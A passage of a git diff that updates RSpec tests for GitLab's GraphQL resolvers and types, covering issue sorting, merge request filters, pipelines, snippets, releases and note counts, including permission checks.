+ expect(resolve_issues(sort: :due_date_desc).to_a).to eq [due_issue1, due_issue3, due_issue4, due_issue2]
end
end
context 'when sorting by relative position' do
- let_it_be(:project) { create(:project) }
+ let_it_be(:project) { create(:project, :public) }
let_it_be(:relative_issue1) { create(:issue, project: project, relative_position: 2000) }
let_it_be(:relative_issue2) { create(:issue, project: project, relative_position: nil) }
let_it_be(:relative_issue3) { create(:issue, project: project, relative_position: 1000) }
let_it_be(:relative_issue4) { create(:issue, project: project, relative_position: nil) }
it 'sorts issues ascending' do
- expect(resolve_issues(sort: :relative_position_asc)).to eq [relative_issue3, relative_issue1, relative_issue4, relative_issue2]
+ expect(resolve_issues(sort: :relative_position_asc).to_a).to eq [relative_issue3, relative_issue1, relative_issue4, relative_issue2]
end
end
context 'when sorting by priority' do
- let_it_be(:project) { create(:project) }
+ let_it_be(:project) { create(:project, :public) }
let_it_be(:early_milestone) { create(:milestone, project: project, due_date: 10.days.from_now) }
let_it_be(:late_milestone) { create(:milestone, project: project, due_date: 30.days.from_now) }
let_it_be(:priority_label1) { create(:label, project: project, priority: 1) }
@@ -200,7 +204,7 @@ RSpec.describe Resolvers::IssuesResolver do
end
context 'when sorting by label priority' do
- let_it_be(:project) { create(:project) }
+ let_it_be(:project) { create(:project, :public) }
let_it_be(:label1) { create(:label, project: project, priority: 1) }
let_it_be(:label2) { create(:label, project: project, priority: 5) }
let_it_be(:label3) { create(:label, project: project, priority: 10) }
@@ -219,7 +223,7 @@ RSpec.describe Resolvers::IssuesResolver do
end
context 'when sorting by milestone due date' do
- let_it_be(:project) { create(:project) }
+ let_it_be(:project) { create(:project, :public) }
let_it_be(:early_milestone) { create(:milestone, project: project, due_date: 10.days.from_now) }
let_it_be(:late_milestone) { create(:milestone, project: project, due_date: 30.days.from_now) }
let_it_be(:milestone_issue1) { create(:issue, project: project) }
@@ -236,17 +240,17 @@ RSpec.describe Resolvers::IssuesResolver do
end
context 'when sorting by severity' do
- let_it_be(:project) { create(:project) }
+ let_it_be(:project) { create(:project, :public) }
let_it_be(:issue_high_severity) { create_issue_with_severity(project, severity: :high) }
let_it_be(:issue_low_severity) { create_issue_with_severity(project, severity: :low) }
let_it_be(:issue_no_severity) { create(:incident, project: project) }
it 'sorts issues ascending' do
- expect(resolve_issues(sort: :severity_asc)).to eq([issue_no_severity, issue_low_severity, issue_high_severity])
+ expect(resolve_issues(sort: :severity_asc).to_a).to eq([issue_no_severity, issue_low_severity, issue_high_severity])
end
it 'sorts issues descending' do
- expect(resolve_issues(sort: :severity_desc)).to eq([issue_high_severity, issue_low_severity, issue_no_severity])
+ expect(resolve_issues(sort: :severity_desc).to_a).to eq([issue_high_severity, issue_low_severity, issue_no_severity])
end
end
end
@@ -267,7 +271,9 @@ RSpec.describe Resolvers::IssuesResolver do
it 'batches queries that only include IIDs', :request_store do
result = batch_sync(max_queries: 2) do
- resolve_issues(iid: issue1.iid) + resolve_issues(iids: issue2.iid)
+ [issue1, issue2]
+ .map { |issue| resolve_issues(iid: issue.iid.to_s) }
+ .flat_map(&:to_a)
end
expect(result).to contain_exactly(issue1, issue2)
diff --git a/spec/graphql/resolvers/merge_request_pipelines_resolver_spec.rb b/spec/graphql/resolvers/merge_request_pipelines_resolver_spec.rb
index deb5ff584cf..84ef906b72f 100644
--- a/spec/graphql/resolvers/merge_request_pipelines_resolver_spec.rb
+++ b/spec/graphql/resolvers/merge_request_pipelines_resolver_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe Resolvers::MergeRequestPipelinesResolver do
end
def resolve_pipelines
- resolve(described_class, obj: merge_request, ctx: { current_user: current_user })
+ sync(resolve(described_class, obj: merge_request, ctx: { current_user: current_user }))
end
it 'resolves only MRs for the passed merge request' do
diff --git a/spec/graphql/resolvers/merge_requests_resolver_spec.rb b/spec/graphql/resolvers/merge_requests_resolver_spec.rb
index 3a3393a185c..63fbd04848d 100644
--- a/spec/graphql/resolvers/merge_requests_resolver_spec.rb
+++ b/spec/graphql/resolvers/merge_requests_resolver_spec.rb
@@ -75,9 +75,9 @@ RSpec.describe Resolvers::MergeRequestsResolver do
it 'can batch-resolve merge requests from different projects' do
# 2 queries for project_authorizations, and 2 for merge_requests
result = batch_sync(max_queries: queries_per_project * 2) do
- resolve_mr(project, iids: iid_1) +
- resolve_mr(project, iids: iid_2) +
- resolve_mr(other_project, iids: other_iid)
+ resolve_mr(project, iids: [iid_1]) +
+ resolve_mr(project, iids: [iid_2]) +
+ resolve_mr(other_project, iids: [other_iid])
end
expect(result).to contain_exactly(merge_request_1, merge_request_2, other_merge_request)
@@ -110,7 +110,7 @@ RSpec.describe Resolvers::MergeRequestsResolver do
context 'by source branches' do
it 'takes one argument' do
- result = resolve_mr(project, source_branch: [merge_request_3.source_branch])
+ result = resolve_mr(project, source_branches: [merge_request_3.source_branch])
expect(result).to contain_exactly(merge_request_3)
end
@@ -118,7 +118,7 @@ RSpec.describe Resolvers::MergeRequestsResolver do
it 'takes more than one argument' do
mrs = [merge_request_3, merge_request_4]
branches = mrs.map(&:source_branch)
- result = resolve_mr(project, source_branch: branches )
+ result = resolve_mr(project, source_branches: branches )
expect(result).to match_array(mrs)
end
@@ -126,7 +126,7 @@ RSpec.describe Resolvers::MergeRequestsResolver do
context 'by target branches' do
it 'takes one argument' do
- result = resolve_mr(project, target_branch: [merge_request_3.target_branch])
+ result = resolve_mr(project, target_branches: [merge_request_3.target_branch])
expect(result).to contain_exactly(merge_request_3)
end
@@ -134,7 +134,7 @@ RSpec.describe Resolvers::MergeRequestsResolver do
it 'takes more than one argument' do
mrs = [merge_request_3, merge_request_4]
branches = mrs.map(&:target_branch)
- result = resolve_mr(project, target_branch: branches )
+ result = resolve_mr(project, target_branches: branches )
expect(result.compact).to match_array(mrs)
end
@@ -153,13 +153,13 @@ RSpec.describe Resolvers::MergeRequestsResolver do
let_it_be(:with_label) { create(:labeled_merge_request, :closed, labels: [label], **common_attrs) }
it 'takes one argument' do
- result = resolve_mr(project, label_name: [label.title])
+ result = resolve_mr(project, labels: [label.title])
expect(result).to contain_exactly(merge_request_6, with_label)
end
it 'takes multiple arguments, with semantics of ALL MUST MATCH' do
- result = resolve_mr(project, label_name: merge_request_6.labels.map(&:title))
+ result = resolve_mr(project, labels: merge_request_6.labels.map(&:title))
expect(result).to contain_exactly(merge_request_6)
end
@@ -201,7 +201,7 @@ RSpec.describe Resolvers::MergeRequestsResolver do
it 'requires all filters' do
create(:merge_request, :closed, source_project: project, target_project: project, source_branch: merge_request_4.source_branch)
- result = resolve_mr(project, source_branch: [merge_request_4.source_branch], state: 'locked')
+ result = resolve_mr(project, source_branches: [merge_request_4.source_branch], state: 'locked')
expect(result.compact).to contain_exactly(merge_request_4)
end
@@ -236,7 +236,7 @@ RSpec.describe Resolvers::MergeRequestsResolver do
end
def resolve_mr_single(project, iid)
- resolve_mr(project, resolver: described_class.single, iids: iid)
+ resolve_mr(project, resolver: described_class.single, iid: iid.to_s)
end
def resolve_mr(project, resolver: described_class, user: current_user, **args)
diff --git a/spec/graphql/resolvers/project_merge_requests_resolver_spec.rb b/spec/graphql/resolvers/project_merge_requests_resolver_spec.rb
index bfb3ce91d58..45777aa96e1 100644
--- a/spec/graphql/resolvers/project_merge_requests_resolver_spec.rb
+++ b/spec/graphql/resolvers/project_merge_requests_resolver_spec.rb
@@ -8,14 +8,16 @@ RSpec.describe Resolvers::ProjectMergeRequestsResolver do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:current_user) { create(:user) }
let_it_be(:other_user) { create(:user) }
+ let_it_be(:reviewer) { create(:user) }
- let_it_be(:merge_request_with_author_and_assignee) do
+ let_it_be(:merge_request) do
create(:merge_request,
:unique_branches,
source_project: project,
target_project: project,
author: other_user,
- assignee: other_user)
+ assignee: other_user,
+ reviewers: [reviewer])
end
before do
@@ -26,7 +28,7 @@ RSpec.describe Resolvers::ProjectMergeRequestsResolver do
it 'filters merge requests by assignee username' do
result = resolve_mr(project, assignee_username: other_user.username)
- expect(result).to eq([merge_request_with_author_and_assignee])
+ expect(result).to contain_exactly(merge_request)
end
it 'does not find anything' do
@@ -40,7 +42,7 @@ RSpec.describe Resolvers::ProjectMergeRequestsResolver do
it 'filters merge requests by author username' do
result = resolve_mr(project, author_username: other_user.username)
- expect(result).to eq([merge_request_with_author_and_assignee])
+ expect(result).to contain_exactly(merge_request)
end
it 'does not find anything' do
@@ -50,7 +52,21 @@ RSpec.describe Resolvers::ProjectMergeRequestsResolver do
end
end
- def resolve_mr(project, args, resolver: described_class, user: current_user)
+ context 'by reviewer' do
+ it 'filters merge requests by reviewer username' do
+ result = resolve_mr(project, reviewer_username: reviewer.username)
+
+ expect(result).to contain_exactly(merge_request)
+ end
+
+ it 'does not find anything' do
+ result = resolve_mr(project, reviewer_username: 'unknown-user')
+
+ expect(result).to be_empty
+ end
+ end
+
+ def resolve_mr(project, resolver: described_class, user: current_user, **args)
resolve(resolver, obj: project, args: args, ctx: { current_user: user })
end
end
diff --git a/spec/graphql/resolvers/project_pipeline_resolver_spec.rb b/spec/graphql/resolvers/project_pipeline_resolver_spec.rb
index 1950c2ca067..b852b349d4f 100644
--- a/spec/graphql/resolvers/project_pipeline_resolver_spec.rb
+++ b/spec/graphql/resolvers/project_pipeline_resolver_spec.rb
@@ -18,6 +18,10 @@ RSpec.describe Resolvers::ProjectPipelineResolver do
resolve(described_class, obj: project, args: args, ctx: { current_user: current_user })
end
+ before do
+ project.add_developer(current_user)
+ end
+
it 'resolves pipeline for the passed iid' do
result = batch_sync do
resolve_pipeline(project, { iid: '1234' })
@@ -26,6 +30,21 @@ RSpec.describe Resolvers::ProjectPipelineResolver do
expect(result).to eq(pipeline)
end
+ it 'keeps the queries under the threshold' do
+ create(:ci_pipeline, project: project, iid: '1235')
+
+ control = ActiveRecord::QueryRecorder.new do
+ batch_sync { resolve_pipeline(project, { iid: '1234' }) }
+ end
+
+ expect do
+ batch_sync do
+ resolve_pipeline(project, { iid: '1234' })
+ resolve_pipeline(project, { iid: '1235' })
+ end
+ end.not_to exceed_query_limit(control)
+ end
+
it 'does not resolve a pipeline outside the project' do
result = batch_sync do
resolve_pipeline(other_pipeline.project, { iid: '1234' })
diff --git a/spec/graphql/resolvers/project_pipeline_statistics_resolver_spec.rb b/spec/graphql/resolvers/project_pipeline_statistics_resolver_spec.rb
new file mode 100644
index 00000000000..c0367f7d42e
--- /dev/null
+++ b/spec/graphql/resolvers/project_pipeline_statistics_resolver_spec.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::ProjectPipelineStatisticsResolver do
+ include GraphqlHelpers
+
+ let_it_be(:project) { create(:project) }
+
+ specify do
+ expect(described_class).to have_nullable_graphql_type(::Types::Ci::AnalyticsType)
+ end
+
+ def resolve_statistics(project, args)
+ resolve(described_class, obj: project, args: args)
+ end
+
+ describe '#resolve' do
+ it 'returns the pipelines statistics for a given project' do
+ result = resolve_statistics(project, {})
+ expect(result.keys).to contain_exactly(
+ :week_pipelines_labels,
+ :week_pipelines_totals,
+ :week_pipelines_successful,
+ :month_pipelines_labels,
+ :month_pipelines_totals,
+ :month_pipelines_successful,
+ :year_pipelines_labels,
+ :year_pipelines_totals,
+ :year_pipelines_successful,
+ :pipeline_times_labels,
+ :pipeline_times_values
+ )
+ end
+ end
+end
diff --git a/spec/graphql/resolvers/projects/jira_imports_resolver_spec.rb b/spec/graphql/resolvers/projects/jira_imports_resolver_spec.rb
deleted file mode 100644
index ad59cb6b95e..00000000000
--- a/spec/graphql/resolvers/projects/jira_imports_resolver_spec.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Resolvers::Projects::JiraImportsResolver do
- include GraphqlHelpers
-
- specify do
- expect(described_class).to have_nullable_graphql_type(Types::JiraImportType.connection_type)
- end
-
- describe '#resolve' do
- let_it_be(:user) { create(:user) }
- let_it_be(:project, reload: true) { create(:project, :public) }
-
- context 'when project does not have Jira imports' do
- let(:current_user) { user }
-
- context 'when user cannot read Jira imports' do
- context 'when anonymous user' do
- let(:current_user) { nil }
-
- it_behaves_like 'no Jira import access'
- end
- end
-
- context 'when user can read Jira import data' do
- before do
- project.add_guest(user)
- end
-
- it_behaves_like 'no Jira import data present'
-
- it 'does not raise access error' do
- expect do
- resolve_imports
- end.not_to raise_error
- end
- end
- end
-
- context 'when project has Jira imports' do
- let_it_be(:current_user) { user }
- let_it_be(:jira_import1) { create(:jira_import_state, :finished, project: project, jira_project_key: 'AA', created_at: 2.days.ago) }
- let_it_be(:jira_import2) { create(:jira_import_state, :finished, project: project, jira_project_key: 'BB', created_at: 5.days.ago) }
-
- context 'when user cannot read Jira imports' do
- context 'when anonymous user' do
- let(:current_user) { nil }
-
- it_behaves_like 'no Jira import access'
- end
- end
-
- context 'when user can access Jira imports' do
- before do
- project.add_guest(user)
- end
-
- it 'returns Jira imports sorted ascending by created_at time' do
- imports = resolve_imports
-
- expect(imports.size).to eq 2
- expect(imports.map(&:jira_project_key)).to eq %w(BB AA)
- end
- end
- end
- end
-
- def resolve_imports(args = {}, context = { current_user: current_user })
- resolve(described_class, obj: project, args: args, ctx: context)
- end
-end
diff --git a/spec/graphql/resolvers/projects/snippets_resolver_spec.rb b/spec/graphql/resolvers/projects/snippets_resolver_spec.rb
index 6f7feff8fe5..2d8929c0e8f 100644
--- a/spec/graphql/resolvers/projects/snippets_resolver_spec.rb
+++ b/spec/graphql/resolvers/projects/snippets_resolver_spec.rb
@@ -6,16 +6,18 @@ RSpec.describe Resolvers::Projects::SnippetsResolver do
include GraphqlHelpers
describe '#resolve' do
- let_it_be(:current_user) { create(:user) }
+ let_it_be(:user) { create(:user) }
let_it_be(:other_user) { create(:user) }
let_it_be(:project) { create(:project) }
- let_it_be(:personal_snippet) { create(:personal_snippet, :private, author: current_user) }
- let_it_be(:project_snippet) { create(:project_snippet, :internal, author: current_user, project: project) }
+ let_it_be(:personal_snippet) { create(:personal_snippet, :private, author: user) }
+ let_it_be(:project_snippet) { create(:project_snippet, :internal, author: user, project: project) }
let_it_be(:other_project_snippet) { create(:project_snippet, :public, author: other_user, project: project) }
- before do
- project.add_developer(current_user)
+ let(:current_user) { user }
+
+ before_all do
+ project.add_developer(user)
end
it 'calls SnippetsFinder' do
@@ -42,20 +44,26 @@ RSpec.describe Resolvers::Projects::SnippetsResolver do
end
it 'returns the snippets by gid' do
- snippets = resolve_snippets(args: { ids: project_snippet.to_global_id })
+ snippets = resolve_snippets(args: { ids: [global_id_of(project_snippet)] })
expect(snippets).to contain_exactly(project_snippet)
end
it 'returns the snippets by array of gid' do
args = {
- ids: [project_snippet.to_global_id, other_project_snippet.to_global_id]
+ ids: [global_id_of(project_snippet), global_id_of(other_project_snippet)]
}
snippets = resolve_snippets(args: args)
expect(snippets).to contain_exactly(project_snippet, other_project_snippet)
end
+
+ it 'returns an error if the gid is invalid' do
+ expect do
+ resolve_snippets(args: { ids: ['foo'] })
+ end.to raise_error(GraphQL::CoercionError)
+ end
end
context 'when no project is provided' do
@@ -65,8 +73,10 @@ RSpec.describe Resolvers::Projects::SnippetsResolver do
end
context 'when provided user is not current user' do
+ let(:current_user) { other_user }
+
it 'returns no snippets' do
- expect(resolve_snippets(context: { current_user: other_user }, args: { ids: project_snippet.to_global_id })).to be_empty
+ expect(resolve_snippets(args: { ids: [global_id_of(project_snippet)] })).to be_empty
end
end
diff --git a/spec/graphql/resolvers/releases_resolver_spec.rb b/spec/graphql/resolvers/releases_resolver_spec.rb
index b9b90686aa7..89623be891f 100644
--- a/spec/graphql/resolvers/releases_resolver_spec.rb
+++ b/spec/graphql/resolvers/releases_resolver_spec.rb
@@ -17,6 +17,7 @@ RSpec.describe Resolvers::ReleasesResolver do
let_it_be(:public_user) { create(:user) }
let(:args) { { sort: :released_at_desc } }
+ let(:all_releases) { [release_v1, release_v2, release_v3] }
before do
project.add_developer(developer)
@@ -27,7 +28,7 @@ RSpec.describe Resolvers::ReleasesResolver do
let(:current_user) { public_user }
it 'returns an empty array' do
- expect(resolve_releases).to eq([])
+ expect(resolve_releases).to be_empty
end
end
@@ -35,7 +36,7 @@ RSpec.describe Resolvers::ReleasesResolver do
let(:current_user) { developer }
it 'returns all releases associated to the project' do
- expect(resolve_releases).to eq([release_v3, release_v2, release_v1])
+ expect(resolve_releases).to match_array(all_releases)
end
describe 'sorting behavior' do
@@ -43,7 +44,9 @@ RSpec.describe Resolvers::ReleasesResolver do
let(:args) { { sort: :released_at_desc } }
it 'returns the releases ordered by released_at in descending order' do
- expect(resolve_releases).to eq([release_v3, release_v2, release_v1])
+ expect(resolve_releases.to_a)
+ .to match_array(all_releases)
+ .and be_sorted(:released_at, :desc)
end
end
@@ -51,7 +54,9 @@ RSpec.describe Resolvers::ReleasesResolver do
let(:args) { { sort: :released_at_asc } }
it 'returns the releases ordered by released_at in ascending order' do
- expect(resolve_releases).to eq([release_v1, release_v2, release_v3])
+ expect(resolve_releases.to_a)
+ .to match_array(all_releases)
+ .and be_sorted(:released_at, :asc)
end
end
@@ -59,7 +64,9 @@ RSpec.describe Resolvers::ReleasesResolver do
let(:args) { { sort: :created_desc } }
it 'returns the releases ordered by created_at in descending order' do
- expect(resolve_releases).to eq([release_v1, release_v3, release_v2])
+ expect(resolve_releases.to_a)
+ .to match_array(all_releases)
+ .and be_sorted(:created_at, :desc)
end
end
@@ -67,7 +74,9 @@ RSpec.describe Resolvers::ReleasesResolver do
let(:args) { { sort: :created_asc } }
it 'returns the releases ordered by created_at in ascending order' do
- expect(resolve_releases).to eq([release_v2, release_v3, release_v1])
+ expect(resolve_releases.to_a)
+ .to match_array(all_releases)
+ .and be_sorted(:created_at, :asc)
end
end
end
diff --git a/spec/graphql/resolvers/snippets/blobs_resolver_spec.rb b/spec/graphql/resolvers/snippets/blobs_resolver_spec.rb
index 16e69f662c0..ebe286769cf 100644
--- a/spec/graphql/resolvers/snippets/blobs_resolver_spec.rb
+++ b/spec/graphql/resolvers/snippets/blobs_resolver_spec.rb
@@ -16,16 +16,18 @@ RSpec.describe Resolvers::Snippets::BlobsResolver do
context 'when user is not authorized' do
let(:other_user) { create(:user) }
- it 'raises an error' do
- expect do
- resolve_blobs(snippet, user: other_user)
- end.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ it 'redacts the field' do
+ expect(resolve_blobs(snippet, user: other_user)).to be_nil
end
end
context 'when using no filter' do
it 'returns all snippet blobs' do
- expect(resolve_blobs(snippet).map(&:path)).to contain_exactly(*snippet.list_files)
+ result = resolve_blobs(snippet, args: {})
+
+ expect(result).to match_array(snippet.list_files.map do |file|
+ have_attributes(path: file)
+ end)
end
end
@@ -34,7 +36,13 @@ RSpec.describe Resolvers::Snippets::BlobsResolver do
it 'returns an array of files' do
path = 'CHANGELOG'
- expect(resolve_blobs(snippet, args: { paths: path }).first.path).to eq(path)
+ expect(resolve_blobs(snippet, paths: [path])).to contain_exactly(have_attributes(path: path))
+ end
+ end
+
+ context 'the argument does not match anything' do
+ it 'returns an empty result' do
+ expect(resolve_blobs(snippet, paths: ['does not exist'])).to be_empty
end
end
@@ -42,13 +50,15 @@ RSpec.describe Resolvers::Snippets::BlobsResolver do
it 'returns an array of files' do
paths = ['CHANGELOG', 'README.md']
- expect(resolve_blobs(snippet, args: { paths: paths }).map(&:path)).to contain_exactly(*paths)
+ expect(resolve_blobs(snippet, paths: paths)).to match_array(paths.map do |file|
+ have_attributes(path: file)
+ end)
end
end
end
end
- def resolve_blobs(snippet, user: current_user, args: {})
+ def resolve_blobs(snippet, user: current_user, paths: [], args: { paths: paths })
resolve(described_class, args: args, ctx: { current_user: user }, obj: snippet)
end
end
diff --git a/spec/graphql/resolvers/snippets_resolver_spec.rb b/spec/graphql/resolvers/snippets_resolver_spec.rb
index a58d9c5ac3a..11cb1c0ec4b 100644
--- a/spec/graphql/resolvers/snippets_resolver_spec.rb
+++ b/spec/graphql/resolvers/snippets_resolver_spec.rb
@@ -84,19 +84,18 @@ RSpec.describe Resolvers::SnippetsResolver do
end
it 'returns the snippets by single gid' do
- snippets = resolve_snippets(args: { ids: personal_snippet.to_global_id })
+ snippets = resolve_snippets(args: { ids: [global_id_of(personal_snippet)] })
expect(snippets).to contain_exactly(personal_snippet)
end
it 'returns the snippets by array of gid' do
- args = {
- ids: [personal_snippet.to_global_id, project_snippet.to_global_id]
- }
+ snippets = [personal_snippet, project_snippet]
+ args = { ids: snippets.map { |s| global_id_of(s) } }
- snippets = resolve_snippets(args: args)
+ found = resolve_snippets(args: args)
- expect(snippets).to contain_exactly(personal_snippet, project_snippet)
+ expect(found).to match_array(snippets)
end
it 'returns an error if the id cannot be coerced' do
diff --git a/spec/graphql/resolvers/todo_resolver_spec.rb b/spec/graphql/resolvers/todo_resolver_spec.rb
index c764f389c16..ac14852b365 100644
--- a/spec/graphql/resolvers/todo_resolver_spec.rb
+++ b/spec/graphql/resolvers/todo_resolver_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe Resolvers::TodoResolver do
it 'calls TodosFinder' do
expect_next_instance_of(TodosFinder) do |finder|
- expect(finder).to receive(:execute)
+ expect(finder).to receive(:execute).and_call_original
end
resolve_todos
@@ -48,7 +48,7 @@ RSpec.describe Resolvers::TodoResolver do
end
it 'returns the todos for single filter' do
- todos = resolve_todos(type: 'MergeRequest')
+ todos = resolve_todos(type: ['MergeRequest'])
expect(todos).to contain_exactly(merge_request_todo_pending)
end
diff --git a/spec/graphql/resolvers/user_discussions_count_resolver_spec.rb b/spec/graphql/resolvers/user_discussions_count_resolver_spec.rb
new file mode 100644
index 00000000000..cc855bbcb53
--- /dev/null
+++ b/spec/graphql/resolvers/user_discussions_count_resolver_spec.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::UserDiscussionsCountResolver do
+ include GraphqlHelpers
+
+ describe '#resolve' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:private_project) { create(:project, :private) }
+ let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:private_issue) { create(:issue, project: private_project) }
+ let_it_be(:public_discussions) { create_list(:discussion_note_on_issue, 2, noteable: issue, project: project) }
+ let_it_be(:system_discussion) { create(:discussion_note_on_issue, system: true, noteable: issue, project: project) }
+ let_it_be(:private_discussion) { create_list(:discussion_note_on_issue, 3, noteable: private_issue, project: private_project) }
+
+ specify do
+ expect(described_class).to have_nullable_graphql_type(GraphQL::INT_TYPE)
+ end
+
+ context 'when counting discussions from a public issue' do
+ subject { batch_sync { resolve_user_discussions_count(issue) } }
+
+ it 'returns the number of discussions for the issue' do
+ expect(subject).to eq(2)
+ end
+ end
+
+ context 'when a user has permission to view discussions' do
+ before do
+ private_project.add_developer(user)
+ end
+
+ subject { batch_sync { resolve_user_discussions_count(private_issue) } }
+
+ it 'returns the number of non-system discussions for the issue' do
+ expect(subject).to eq(3)
+ end
+ end
+
+ context 'when a user does not have permission to view discussions' do
+ subject { batch_sync { resolve_user_discussions_count(private_issue) } }
+
+ it 'returns no discussions' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+ end
+
+ def resolve_user_discussions_count(obj)
+ resolve(described_class, obj: obj, ctx: { current_user: user })
+ end
+end
diff --git a/spec/graphql/resolvers/user_notes_count_resolver_spec.rb b/spec/graphql/resolvers/user_notes_count_resolver_spec.rb
new file mode 100644
index 00000000000..3cb0810c698
--- /dev/null
+++ b/spec/graphql/resolvers/user_notes_count_resolver_spec.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Resolvers::UserNotesCountResolver do
+ include GraphqlHelpers
+
+ describe '#resolve' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :repository, :public) }
+ let_it_be(:private_project) { create(:project, :repository, :private) }
+
+ specify do
+ expect(described_class).to have_nullable_graphql_type(GraphQL::INT_TYPE)
+ end
+
+ context 'when counting notes from an issue' do
+ let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:private_issue) { create(:issue, project: private_project) }
+ let_it_be(:public_notes) { create_list(:note, 2, noteable: issue, project: project) }
+ let_it_be(:system_note) { create(:note, system: true, noteable: issue, project: project) }
+ let_it_be(:private_notes) { create_list(:note, 3, noteable: private_issue, project: private_project) }
+
+ context 'when counting notes from a public issue' do
+ subject { batch_sync { resolve_user_notes_count(issue) } }
+
+ it 'returns the number of non-system notes for the issue' do
+ expect(subject).to eq(2)
+ end
+ end
+
+ context 'when a user has permission to view notes' do
+ before do
+ private_project.add_developer(user)
+ end
+
+ subject { batch_sync { resolve_user_notes_count(private_issue) } }
+
+ it 'returns the number of notes for the issue' do
+ expect(subject).to eq(3)
+ end
+ end
+
+ context 'when a user does not have permission to view notes' do
+ subject { batch_sync { resolve_user_notes_count(private_issue) } }
+
+ it 'returns no notes' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+ end
+
+ context 'when counting notes from a merge request' do
+ let_it_be(:merge_request) { create(:merge_request, source_project: project) }
+ let_it_be(:private_merge_request) { create(:merge_request, source_project: private_project) }
+ let_it_be(:public_notes) { create_list(:note, 2, noteable: merge_request, project: project) }
+ let_it_be(:system_note) { create(:note, system: true, noteable: merge_request, project: project) }
+ let_it_be(:private_notes) { create_list(:note, 3, noteable: private_merge_request, project: private_project) }
+
+ context 'when counting notes from a public merge request' do
+ subject { batch_sync { resolve_user_notes_count(merge_request) } }
+
+ it 'returns the number of non-system notes for the merge request' do
+ expect(subject).to eq(2)
+ end
+ end
+
+ context 'when a user has permission to view notes' do
+ before do
+ private_project.add_developer(user)
+ end
+
+ subject { batch_sync { resolve_user_notes_count(private_merge_request) } }
+
+ it 'returns the number of notes for the merge request' do
+ expect(subject).to eq(3)
+ end
+ end
+
+ context 'when a user does not have permission to view notes' do
+ subject { batch_sync { resolve_user_notes_count(private_merge_request) } }
+
+ it 'returns no notes' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+ end
+ end
+
+ def resolve_user_notes_count(obj)
+ resolve(described_class, obj: obj, ctx: { current_user: user })
+ end
+end
diff --git a/spec/graphql/resolvers/users/snippets_resolver_spec.rb b/spec/graphql/resolvers/users/snippets_resolver_spec.rb
index 9ccbebc59e6..11a5b7517e0 100644
--- a/spec/graphql/resolvers/users/snippets_resolver_spec.rb
+++ b/spec/graphql/resolvers/users/snippets_resolver_spec.rb
@@ -51,24 +51,23 @@ RSpec.describe Resolvers::Users::SnippetsResolver do
end
it 'returns the snippets by single gid' do
- snippets = resolve_snippets(args: { ids: private_personal_snippet.to_global_id })
+ snippets = resolve_snippets(args: { ids: [global_id_of(private_personal_snippet)] })
expect(snippets).to contain_exactly(private_personal_snippet)
end
it 'returns the snippets by array of gid' do
- args = {
- ids: [private_personal_snippet.to_global_id, public_personal_snippet.to_global_id]
- }
+ snippets = [private_personal_snippet, public_personal_snippet]
+ args = { ids: snippets.map { |s| global_id_of(s) } }
- snippets = resolve_snippets(args: args)
+ found = resolve_snippets(args: args)
- expect(snippets).to contain_exactly(private_personal_snippet, public_personal_snippet)
+ expect(found).to match_array(snippets)
end
it 'returns an error if the gid is invalid' do
args = {
- ids: [private_personal_snippet.to_global_id, 'foo']
+ ids: [global_id_of(private_personal_snippet), 'foo']
}
expect do
diff --git a/spec/graphql/types/alert_management/domain_filter_enum_spec.rb b/spec/graphql/types/alert_management/domain_filter_enum_spec.rb
new file mode 100644
index 00000000000..2111a33b8b4
--- /dev/null
+++ b/spec/graphql/types/alert_management/domain_filter_enum_spec.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['AlertManagementDomainFilter'] do
+ specify { expect(described_class.graphql_name).to eq('AlertManagementDomainFilter') }
+
+ it 'exposes all the severity values' do
+ expect(described_class.values.keys).to include(*%w[threat_monitoring operations])
+ end
+end
diff --git a/spec/graphql/types/alert_management/prometheus_integration_type_spec.rb b/spec/graphql/types/alert_management/prometheus_integration_type_spec.rb
index 0e9994035d8..b10c2a2ab2a 100644
--- a/spec/graphql/types/alert_management/prometheus_integration_type_spec.rb
+++ b/spec/graphql/types/alert_management/prometheus_integration_type_spec.rb
@@ -11,11 +11,14 @@ RSpec.describe GitlabSchema.types['AlertManagementPrometheusIntegration'] do
describe 'resolvers' do
shared_examples_for 'has field with value' do |field_name|
it 'correctly renders the field' do
- expect(resolve_field(field_name, integration)).to eq(value)
+ result = resolve_field(field_name, integration, current_user: user)
+
+ expect(result).to eq(value)
end
end
let_it_be_with_reload(:integration) { create(:prometheus_service) }
+ let_it_be(:user) { create(:user, maintainer_projects: [integration.project]) }
it_behaves_like 'has field with value', 'name' do
let(:value) { integration.title }
diff --git a/spec/graphql/types/base_field_spec.rb b/spec/graphql/types/base_field_spec.rb
index d61ea6aa6e9..54b59317b55 100644
--- a/spec/graphql/types/base_field_spec.rb
+++ b/spec/graphql/types/base_field_spec.rb
@@ -145,11 +145,11 @@ RSpec.describe Types::BaseField do
describe '#description' do
context 'feature flag given' do
- let(:field) { described_class.new(name: 'test', type: GraphQL::STRING_TYPE, feature_flag: flag, null: false, description: 'Test description') }
+ let(:field) { described_class.new(name: 'test', type: GraphQL::STRING_TYPE, feature_flag: flag, null: false, description: 'Test description.') }
let(:flag) { :test_flag }
it 'prepends the description' do
- expect(field.description). to eq 'Test description. Available only when feature flag `test_flag` is enabled'
+ expect(field.description). to eq 'Test description. Available only when feature flag `test_flag` is enabled.'
end
